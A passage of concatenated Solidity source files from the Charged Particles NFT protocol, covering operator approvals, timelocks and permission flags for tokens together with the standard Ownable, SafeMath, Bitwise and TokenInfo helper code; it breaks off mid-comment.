Address of the Operator to Approve function setReleaseApproval( address contractAddress, uint256 tokenId, address operator ) external virtual override onlyErc721OwnerOrOperator(contractAddress, tokenId, _msgSender()) { address tokenOwner = contractAddress.getTokenOwner(tokenId); require(operator != tokenOwner, "CP:E-106"); _setReleaseApproval(contractAddress, tokenId, tokenOwner, operator); } /// @notice Sets an Operator as Approved to Break Covalent Bonds on a specific Token /// This allows an operator to withdraw Basket NFTs /// @param contractAddress The Address to the Contract of the Token /// @param tokenId The ID of the Token /// @param operator The Address of the Operator to Approve function setBreakBondApproval( address contractAddress, uint256 tokenId, address operator ) external virtual override onlyErc721OwnerOrOperator(contractAddress, tokenId, _msgSender()) { address tokenOwner = contractAddress.getTokenOwner(tokenId); require(operator != tokenOwner, "CP:E-106"); _setBreakBondApproval(contractAddress, tokenId, tokenOwner, operator); } /// @notice Sets an Operator as Approved to Timelock a specific Token /// This allows an operator to timelock the principal or interest /// @param contractAddress The Address to the Contract of the Token /// @param tokenId The ID of the Token /// @param operator The Address of the Operator to Approve function setTimelockApproval( address contractAddress, uint256 tokenId, address operator ) external virtual override onlyErc721OwnerOrOperator(contractAddress, tokenId, _msgSender()) { address tokenOwner = contractAddress.getTokenOwner(tokenId); require(operator != tokenOwner, "CP:E-106"); _setTimelockApproval(contractAddress, tokenId, tokenOwner, operator); } /// @notice Sets an Operator as Approved to Discharge/Release/Timelock a specific Token /// @param contractAddress The Address to the Contract of the Token /// @param tokenId The ID of the Token /// @param operator The Address of the Operator to Approve function setApprovalForAll( address contractAddress, uint256 tokenId, address operator ) external virtual override onlyErc721OwnerOrOperator(contractAddress, tokenId, _msgSender()) { address tokenOwner = contractAddress.getTokenOwner(tokenId); require(operator != tokenOwner, "CP:E-106"); _setDischargeApproval(contractAddress, tokenId, tokenOwner, operator); _setReleaseApproval(contractAddress, tokenId, tokenOwner, operator); _setBreakBondApproval(contractAddress, tokenId, tokenOwner, operator); _setTimelockApproval(contractAddress, tokenId, tokenOwner, operator); } /// @dev Updates Restrictions on Energizing an NFT function setPermsForRestrictCharge(address contractAddress, uint256 tokenId, bool state) external virtual override onlyErc721OwnerOrOperator(contractAddress, tokenId, _msgSender()) { _setPermsForRestrictCharge(contractAddress, tokenId, state); } /// @dev Updates Allowance on Discharging an NFT by Anyone function setPermsForAllowDischarge(address contractAddress, uint256 tokenId, bool state) external virtual override onlyErc721OwnerOrOperator(contractAddress, tokenId, _msgSender()) { _setPermsForAllowDischarge(contractAddress, tokenId, state); } /// @dev Updates Allowance on Discharging an NFT by Anyone function setPermsForAllowRelease(address contractAddress, uint256 tokenId, bool state) external virtual override onlyErc721OwnerOrOperator(contractAddress, tokenId, _msgSender()) { _setPermsForAllowRelease(contractAddress, tokenId, state); } /// @dev Updates Restrictions on Covalent Bonds on an NFT function setPermsForRestrictBond(address contractAddress, uint256 tokenId, bool state) external virtual override onlyErc721OwnerOrOperator(contractAddress, tokenId, _msgSender()) { _setPermsForRestrictBond(contractAddress, tokenId, state); } /// @dev Updates Allowance on Breaking Covalent Bonds on an NFT by Anyone function setPermsForAllowBreakBond(address contractAddress, uint256 tokenId, bool state) external virtual override onlyErc721OwnerOrOperator(contractAddress, tokenId, _msgSender()) { _setPermsForAllowBreakBond(contractAddress, tokenId, state); } /// @notice Sets a Timelock on the ability to Discharge the Interest of a Particle /// @param contractAddress The Address to the NFT to Timelock /// @param tokenId The token ID of the NFT to Timelock /// @param unlockBlock The Ethereum Block-number to Timelock until (~15 seconds per block) function setDischargeTimelock( address contractAddress, uint256 tokenId, uint256 unlockBlock ) external override virtual { address sender = _msgSender(); uint256 tokenUuid = contractAddress.getTokenUUID(tokenId); // Clear Timelock if (unlockBlock == 0 && _nftState[tokenUuid].dischargeTimelock.lockedBy == sender) { delete _nftState[tokenUuid].dischargeTimelock.unlockBlock; delete _nftState[tokenUuid].dischargeTimelock.lockedBy; } // Set Timelock else { require(_isApprovedForTimelock(contractAddress, tokenId, sender), "CP:E-105"); require(block.number >= _nftState[tokenUuid].dischargeTimelock.unlockBlock, "CP:E-302"); _nftState[tokenUuid].dischargeTimelock.unlockBlock = unlockBlock; _nftState[tokenUuid].dischargeTimelock.lockedBy = sender; } emit TokenDischargeTimelock(contractAddress, tokenId, sender, unlockBlock); } /// @notice Sets a Timelock on the ability to Release the Assets of a Particle /// @param contractAddress The Address to the NFT to Timelock /// @param tokenId The token ID of the NFT to Timelock /// @param unlockBlock The Ethereum Block-number to Timelock until (~15 seconds per block) function setReleaseTimelock( address contractAddress, uint256 tokenId, uint256 unlockBlock ) external override virtual { address sender = _msgSender(); uint256 tokenUuid = contractAddress.getTokenUUID(tokenId); // Clear Timelock if (unlockBlock == 0 && _nftState[tokenUuid].releaseTimelock.lockedBy == sender) { delete _nftState[tokenUuid].releaseTimelock.unlockBlock; delete _nftState[tokenUuid].releaseTimelock.lockedBy; } // Set Timelock else { require(_isApprovedForTimelock(contractAddress, tokenId, sender), "CP:E-105"); require(block.number >= _nftState[tokenUuid].releaseTimelock.unlockBlock, "CP:E-302"); _nftState[tokenUuid].releaseTimelock.unlockBlock = unlockBlock; _nftState[tokenUuid].releaseTimelock.lockedBy = sender; } emit TokenReleaseTimelock(contractAddress, tokenId, sender, unlockBlock); } /// @notice Sets a Timelock on the ability to Break the Covalent Bond of a Particle /// @param contractAddress The Address to the NFT to Timelock /// @param tokenId The token ID of the NFT to Timelock /// @param unlockBlock The Ethereum Block-number to Timelock until (~15 seconds per block) function setBreakBondTimelock( address contractAddress, uint256 tokenId, uint256 unlockBlock ) external override virtual { address sender = _msgSender(); uint256 tokenUuid = contractAddress.getTokenUUID(tokenId); // Clear Timelock if (unlockBlock == 0 && _nftState[tokenUuid].breakBondTimelock.lockedBy == sender) { delete _nftState[tokenUuid].breakBondTimelock.unlockBlock; delete _nftState[tokenUuid].breakBondTimelock.lockedBy; } // Set Timelock else { require(_isApprovedForTimelock(contractAddress, tokenId, sender), "CP:E-105"); require(block.number >= _nftState[tokenUuid].breakBondTimelock.unlockBlock, "CP:E-302"); _nftState[tokenUuid].breakBondTimelock.unlockBlock = unlockBlock; _nftState[tokenUuid].breakBondTimelock.lockedBy = sender; } emit TokenBreakBondTimelock(contractAddress, tokenId, sender, unlockBlock); } /***********************************| | Only NFT Contract | |__________________________________*/ /// @notice Sets a Temporary-Lock on the ability to Release/Discharge the Assets of a Particle /// @param contractAddress The Address to the NFT to Timelock /// @param tokenId The token ID of the NFT to Timelock /// @param isLocked The locked state; contracts are expected to disable this lock before expiry function setTemporaryLock( address contractAddress, uint256 tokenId, bool isLocked ) external override virtual { require(msg.sender == contractAddress, "CP:E-112"); uint256 tokenUuid = contractAddress.getTokenUUID(tokenId); uint256 unlockBlock; if (isLocked && _nftState[tokenUuid].tempLockExpiry == 0) { unlockBlock = block.number.add(_chargedSettings.getTempLockExpiryBlocks()); _nftState[tokenUuid].tempLockExpiry = unlockBlock; } if (!isLocked) { _nftState[tokenUuid].tempLockExpiry = 0; } emit TokenTempLock(contractAddress, tokenId, unlockBlock); } /***********************************| | Only Admin/DAO | |__________________________________*/ /// @dev Setup the Charged-Settings Controller function setChargedSettings(address settingsController) external virtual onlyOwner { _chargedSettings = IChargedSettings(settingsController); emit ChargedSettingsSet(settingsController); } function setTrustedForwarder(address _trustedForwarder) external onlyOwner { trustedForwarder = _trustedForwarder; } /***********************************| | Only Admin/DAO | | (blackhole prevention) | |__________________________________*/ function withdrawEther(address payable receiver, uint256 amount) external virtual onlyOwner { _withdrawEther(receiver, amount); } function withdrawErc20(address payable receiver, address tokenAddress, uint256 amount) external virtual onlyOwner { _withdrawERC20(receiver, tokenAddress, amount); } function withdrawERC721(address payable receiver, address tokenAddress, uint256 tokenId) external virtual onlyOwner { _withdrawERC721(receiver, tokenAddress, tokenId); } /***********************************| | Private Functions | |__________________________________*/ /// @dev See {ChargedParticles-isApprovedForDischarge}. function _isApprovedForDischarge(address contractAddress, uint256 tokenId, address operator) internal view virtual returns (bool) { address tokenOwner = contractAddress.getTokenOwner(tokenId); uint256 tokenUuid = contractAddress.getTokenUUID(tokenId); return contractAddress == operator || tokenOwner == operator || _nftState[tokenUuid].dischargeApproval[tokenOwner] == operator; } /// @dev See {ChargedParticles-isApprovedForRelease}. function _isApprovedForRelease(address contractAddress, uint256 tokenId, address operator) internal view virtual returns (bool) { address tokenOwner = contractAddress.getTokenOwner(tokenId); uint256 tokenUuid = contractAddress.getTokenUUID(tokenId); return contractAddress == operator || tokenOwner == operator || _nftState[tokenUuid].releaseApproval[tokenOwner] == operator; } /// @dev See {ChargedParticles-isApprovedForBreakBond}. function _isApprovedForBreakBond(address contractAddress, uint256 tokenId, address operator) internal view virtual returns (bool) { address tokenOwner = contractAddress.getTokenOwner(tokenId); uint256 tokenUuid = contractAddress.getTokenUUID(tokenId); return contractAddress == operator || tokenOwner == operator || _nftState[tokenUuid].breakBondApproval[tokenOwner] == operator; } /// @dev See {ChargedParticles-isApprovedForTimelock}. function _isApprovedForTimelock(address contractAddress, uint256 tokenId, address operator) internal view virtual returns (bool) { (bool timelockAny, bool timelockOwn) = _chargedSettings.getTimelockApprovals(operator); if (timelockAny || (timelockOwn && contractAddress == operator)) { return true; } address tokenOwner = contractAddress.getTokenOwner(tokenId); uint256 tokenUuid = contractAddress.getTokenUUID(tokenId); return tokenOwner == operator || _nftState[tokenUuid].timelockApproval[tokenOwner] == operator; } /// @notice Sets an Operator as Approved to Discharge a specific Token /// This allows an operator to withdraw the interest-portion only /// @param contractAddress The Address to the Contract of the Token /// @param tokenId The ID of the Token /// @param tokenOwner The Owner Address of the Token /// @param operator The Address of the Operator to Approve function _setDischargeApproval( address contractAddress, uint256 tokenId, address tokenOwner, address operator ) internal virtual { uint256 tokenUuid = contractAddress.getTokenUUID(tokenId); _nftState[tokenUuid].dischargeApproval[tokenOwner] = operator; emit DischargeApproval(contractAddress, tokenId, tokenOwner, operator); } /// @notice Sets an Operator as Approved to Release a specific Token /// This allows an operator to withdraw the principal + interest /// @param contractAddress The Address to the Contract of the Token /// @param tokenId The ID of the Token /// @param tokenOwner The Owner Address of the Token /// @param operator The Address of the Operator to Approve function _setReleaseApproval( address contractAddress, uint256 tokenId, address tokenOwner, address operator ) internal virtual { uint256 tokenUuid = contractAddress.getTokenUUID(tokenId); _nftState[tokenUuid].releaseApproval[tokenOwner] = operator; emit ReleaseApproval(contractAddress, tokenId, tokenOwner, operator); } /// @notice Sets an Operator as Approved to Break Covalent Bonds on a specific Token /// This allows an operator to withdraw Basket NFTs /// @param contractAddress The Address to the Contract of the Token /// @param tokenId The ID of the Token /// @param tokenOwner The Owner Address of the Token /// @param operator The Address of the Operator to Approve function _setBreakBondApproval( address contractAddress, uint256 tokenId, address tokenOwner, address operator ) internal virtual { uint256 tokenUuid = contractAddress.getTokenUUID(tokenId); _nftState[tokenUuid].breakBondApproval[tokenOwner] = operator; emit BreakBondApproval(contractAddress, tokenId, tokenOwner, operator); } /// @notice Sets an Operator as Approved to Timelock a specific Token /// This allows an operator to timelock the principal or interest /// @param contractAddress The Address to the Contract of the Token /// @param tokenId The ID of the Token /// @param tokenOwner The Owner Address of the Token /// @param operator The Address of the Operator to Approve function _setTimelockApproval( address contractAddress, uint256 tokenId, address tokenOwner, address operator ) internal virtual { uint256 tokenUuid = contractAddress.getTokenUUID(tokenId); _nftState[tokenUuid].timelockApproval[tokenOwner] = operator; emit TimelockApproval(contractAddress, tokenId, tokenOwner, operator); } /// @dev Updates Restrictions on Energizing an NFT function _setPermsForRestrictCharge(address contractAddress, uint256 tokenId, bool state) internal virtual { uint256 tokenUuid = contractAddress.getTokenUUID(tokenId); if (state) { _nftState[tokenUuid].actionPerms = _nftState[tokenUuid].actionPerms.setBit(PERM_RESTRICT_ENERGIZE_FROM_ALL); } else { _nftState[tokenUuid].actionPerms = _nftState[tokenUuid].actionPerms.clearBit(PERM_RESTRICT_ENERGIZE_FROM_ALL); } emit PermsSetForRestrictCharge(contractAddress, tokenId, state); } /// @dev Updates Allowance on Discharging an NFT by Anyone function _setPermsForAllowDischarge(address contractAddress, uint256 tokenId, bool state) internal virtual { uint256 tokenUuid = contractAddress.getTokenUUID(tokenId); if (state) { _nftState[tokenUuid].actionPerms = _nftState[tokenUuid].actionPerms.setBit(PERM_ALLOW_DISCHARGE_FROM_ALL); } else { _nftState[tokenUuid].actionPerms = _nftState[tokenUuid].actionPerms.clearBit(PERM_ALLOW_DISCHARGE_FROM_ALL); } emit PermsSetForAllowDischarge(contractAddress, tokenId, state); } /// @dev Updates Allowance on Discharging an NFT by Anyone function _setPermsForAllowRelease(address contractAddress, uint256 tokenId, bool state) internal virtual { uint256 tokenUuid = contractAddress.getTokenUUID(tokenId); if (state) { _nftState[tokenUuid].actionPerms = _nftState[tokenUuid].actionPerms.setBit(PERM_ALLOW_RELEASE_FROM_ALL); } else { _nftState[tokenUuid].actionPerms = _nftState[tokenUuid].actionPerms.clearBit(PERM_ALLOW_RELEASE_FROM_ALL); } emit PermsSetForAllowRelease(contractAddress, tokenId, state); } /// @dev Updates Restrictions on Covalent Bonds on an NFT function _setPermsForRestrictBond(address contractAddress, uint256 tokenId, bool state) internal virtual { uint256 tokenUuid = contractAddress.getTokenUUID(tokenId); if (state) { _nftState[tokenUuid].actionPerms = _nftState[tokenUuid].actionPerms.setBit(PERM_RESTRICT_BOND_FROM_ALL); } else { _nftState[tokenUuid].actionPerms = _nftState[tokenUuid].actionPerms.clearBit(PERM_RESTRICT_BOND_FROM_ALL); } emit PermsSetForRestrictBond(contractAddress, tokenId, state); } /// @dev Updates Allowance on Breaking Covalent Bonds on an NFT by Anyone function _setPermsForAllowBreakBond(address contractAddress, uint256 tokenId, bool state) internal virtual { uint256 tokenUuid = contractAddress.getTokenUUID(tokenId); if (state) { _nftState[tokenUuid].actionPerms = _nftState[tokenUuid].actionPerms.setBit(PERM_ALLOW_BREAK_BOND_FROM_ALL); } else { _nftState[tokenUuid].actionPerms = _nftState[tokenUuid].actionPerms.clearBit(PERM_ALLOW_BREAK_BOND_FROM_ALL); } emit PermsSetForAllowBreakBond(contractAddress, tokenId, state); } /***********************************| | GSN/MetaTx Relay | |__________________________________*/ /// @dev See {BaseRelayRecipient-_msgSender}. function _msgSender() internal view virtual override(BaseRelayRecipient, Context) returns (address payable) { return BaseRelayRecipient._msgSender(); } /// @dev See {BaseRelayRecipient-_msgData}. function _msgData() internal view virtual override(BaseRelayRecipient, Context) returns (bytes memory) { return BaseRelayRecipient._msgData(); } /***********************************| | Modifiers | |__________________________________*/ modifier onlyErc721OwnerOrOperator(address contractAddress, uint256 tokenId, address sender) { require(contractAddress.isErc721OwnerOrOperator(tokenId, sender), "CP:E-105"); _; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT // IChargedSettings.sol -- Part of the Charged Particles Protocol // Copyright (c) 2021 Firma Lux, Inc. <https://charged.fi> // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. pragma solidity >=0.6.0; import "./IChargedSettings.sol"; /** * @notice Interface for Charged State */ interface IChargedState { /***********************************| | Public API | |__________________________________*/ function getDischargeTimelockExpiry(address contractAddress, uint256 tokenId) external view returns (uint256 lockExpiry); function getReleaseTimelockExpiry(address contractAddress, uint256 tokenId) external view returns (uint256 lockExpiry); function getBreakBondTimelockExpiry(address contractAddress, uint256 tokenId) external view returns (uint256 lockExpiry); function isApprovedForDischarge(address contractAddress, uint256 tokenId, address operator) external view returns (bool); function isApprovedForRelease(address contractAddress, uint256 tokenId, address operator) external view returns (bool); function isApprovedForBreakBond(address contractAddress, uint256 tokenId, address operator) external view returns (bool); function isApprovedForTimelock(address contractAddress, uint256 tokenId, address operator) external view returns (bool); function isEnergizeRestricted(address contractAddress, uint256 tokenId) external view returns (bool); function isCovalentBondRestricted(address contractAddress, uint256 tokenId) external view returns (bool); function getDischargeState(address contractAddress, uint256 tokenId, address sender) external view returns (bool allowFromAll, bool isApproved, uint256 timelock, uint256 tempLockExpiry); function getReleaseState(address contractAddress, uint256 tokenId, address sender) external view returns (bool allowFromAll, bool isApproved, uint256 timelock, uint256 tempLockExpiry); function getBreakBondState(address contractAddress, uint256 tokenId, address sender) external view returns (bool allowFromAll, bool isApproved, uint256 timelock, uint256 tempLockExpiry); /***********************************| | Only NFT Owner/Operator | |__________________________________*/ function setDischargeApproval(address contractAddress, uint256 tokenId, address operator) external; function setReleaseApproval(address contractAddress, uint256 tokenId, address operator) external; function setBreakBondApproval(address contractAddress, uint256 tokenId, address operator) external; function setTimelockApproval(address contractAddress, uint256 tokenId, address operator) external; function setApprovalForAll(address contractAddress, uint256 tokenId, address operator) external; function setPermsForRestrictCharge(address contractAddress, uint256 tokenId, bool state) external; function setPermsForAllowDischarge(address contractAddress, uint256 tokenId, bool state) external; function setPermsForAllowRelease(address contractAddress, uint256 tokenId, bool state) external; function setPermsForRestrictBond(address contractAddress, uint256 tokenId, bool state) external; function setPermsForAllowBreakBond(address contractAddress, uint256 tokenId, bool state) external; function setDischargeTimelock( address contractAddress, uint256 tokenId, uint256 unlockBlock ) external; function setReleaseTimelock( address contractAddress, uint256 tokenId, uint256 unlockBlock ) external; function setBreakBondTimelock( address contractAddress, uint256 tokenId, uint256 unlockBlock ) external; /***********************************| | Only NFT Contract | |__________________________________*/ function setTemporaryLock( address contractAddress, uint256 tokenId, bool isLocked ) external; /***********************************| | Particle Events | |__________________________________*/ event ChargedSettingsSet(address indexed settingsController); event DischargeApproval(address indexed contractAddress, uint256 indexed tokenId, address indexed owner, address operator); event ReleaseApproval(address indexed contractAddress, uint256 indexed tokenId, address indexed owner, address operator); event BreakBondApproval(address indexed contractAddress, uint256 indexed tokenId, address indexed owner, address operator); event TimelockApproval(address indexed contractAddress, uint256 indexed tokenId, address indexed owner, address operator); event TokenDischargeTimelock(address indexed contractAddress, uint256 indexed tokenId, address indexed operator, uint256 unlockBlock); event TokenReleaseTimelock(address indexed contractAddress, uint256 indexed tokenId, address indexed operator, uint256 unlockBlock); event TokenBreakBondTimelock(address indexed contractAddress, uint256 indexed tokenId, address indexed operator, uint256 unlockBlock); event TokenTempLock(address indexed contractAddress, uint256 indexed tokenId, uint256 unlockBlock); event PermsSetForRestrictCharge(address indexed contractAddress, uint256 indexed tokenId, bool state); event PermsSetForAllowDischarge(address indexed contractAddress, uint256 indexed tokenId, bool state); event PermsSetForAllowRelease(address indexed contractAddress, uint256 indexed tokenId, bool state); event PermsSetForRestrictBond(address indexed contractAddress, uint256 indexed tokenId, bool state); event PermsSetForAllowBreakBond(address indexed contractAddress, uint256 indexed tokenId, bool state); } // SPDX-License-Identifier: MIT // Bitwise.sol -- Part of the Charged Particles Protocol // Copyright (c) 2021 Firma Lux, Inc. <https://charged.fi> // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. pragma solidity 0.6.12; library Bitwise { function negate(uint32 a) internal pure returns (uint32) { return a ^ maxInt(); } function shiftLeft(uint32 a, uint32 n) internal pure returns (uint32) { return a * uint32(2) ** n; } function shiftRight(uint32 a, uint32 n) internal pure returns (uint32) { return a / uint32(2) ** n; } function maxInt() internal pure returns (uint32) { return uint32(-1); } // Get bit value at position function hasBit(uint32 a, uint32 n) internal pure returns (bool) { return a & shiftLeft(0x01, n) != 0; } // Set bit value at position function setBit(uint32 a, uint32 n) internal pure returns (uint32) { return a | shiftLeft(0x01, n); } // Set the bit into state "false" function clearBit(uint32 a, uint32 n) internal pure returns (uint32) { uint32 mask = negate(shiftLeft(0x01, n)); return a & mask; } } // SPDX-License-Identifier: MIT // TokenInfo.sol -- Part of the Charged Particles Protocol // Copyright (c) 2021 Firma Lux, Inc. <https://charged.fi> // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. pragma solidity 0.6.12; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "../interfaces/IERC721Chargeable.sol"; library TokenInfo { function getTokenUUID(address contractAddress, uint256 tokenId) internal pure virtual returns (uint256) { return uint256(keccak256(abi.encodePacked(contractAddress, tokenId))); } function getTokenOwner(address contractAddress, uint256 tokenId) internal view virtual returns (address) { IERC721Chargeable tokenInterface = IERC721Chargeable(contractAddress); return tokenInterface.ownerOf(tokenId); } function getTokenCreator(address contractAddress, uint256 tokenId) internal view virtual returns (address) { IERC721Chargeable tokenInterface = IERC721Chargeable(contractAddress); return tokenInterface.creatorOf(tokenId); } /// @dev Checks if an account is the Owner of an External NFT contract /// @param contractAddress The Address to the Contract of the NFT to check /// @param account The Address of the Account to check /// @return True if the account owns the contract function isContractOwner(address contractAddress, address account) internal view virtual returns (bool) { address contractOwner = IERC721Chargeable(contractAddress).owner(); return contractOwner != address(0x0) && contractOwner == account; } /// @dev Checks if an account is the Creator of a Proton-based NFT /// @param contractAddress The Address to the Contract of the Proton-based NFT to check /// @param tokenId The Token ID of the Proton-based NFT to check /// @param sender The Address of the Account to check /// @return True if the account is the creator of the Proton-based NFT function isTokenCreator(address contractAddress, uint256 tokenId, address sender) internal view virtual returns (bool) { IERC721Chargeable tokenInterface = IERC721Chargeable(contractAddress); address tokenCreator = tokenInterface.creatorOf(tokenId); return (sender == tokenCreator); } /// @dev Checks if an account is the Creator of a Proton-based NFT or the Contract itself /// @param contractAddress The Address to the Contract of the Proton-based NFT to check /// @param tokenId The Token ID of the Proton-based NFT to check /// @param sender The Address of the Account to check /// @return True if the account is the creator of the Proton-based NFT or the Contract itself function isTokenContractOrCreator(address contractAddress, uint256 tokenId, address creator, address sender) internal view virtual returns (bool) { IERC721Chargeable tokenInterface = IERC721Chargeable(contractAddress); address tokenCreator = tokenInterface.creatorOf(tokenId); if (sender == contractAddress && creator == tokenCreator) { return true; } return (sender == tokenCreator); } /// @dev Checks if an account is the Owner or Operator of an External NFT /// @param contractAddress The Address to the Contract of the External NFT to check /// @param tokenId The Token ID of the External NFT to check /// @param sender The Address of the Account to check /// @return True if the account is the Owner or Operator of the External NFT function isErc721OwnerOrOperator(address contractAddress, uint256 tokenId, address sender) internal view virtual returns (bool) { IERC721Chargeable tokenInterface = IERC721Chargeable(contractAddress); address tokenOwner = tokenInterface.ownerOf(tokenId); return (sender == tokenOwner || tokenInterface.isApprovedForAll(tokenOwner, sender)); } /** * @dev Returns true if `account` is a contract. * @dev Taken from OpenZeppelin library * * [IMPORTANT] * ==== * It is unsafe to assume 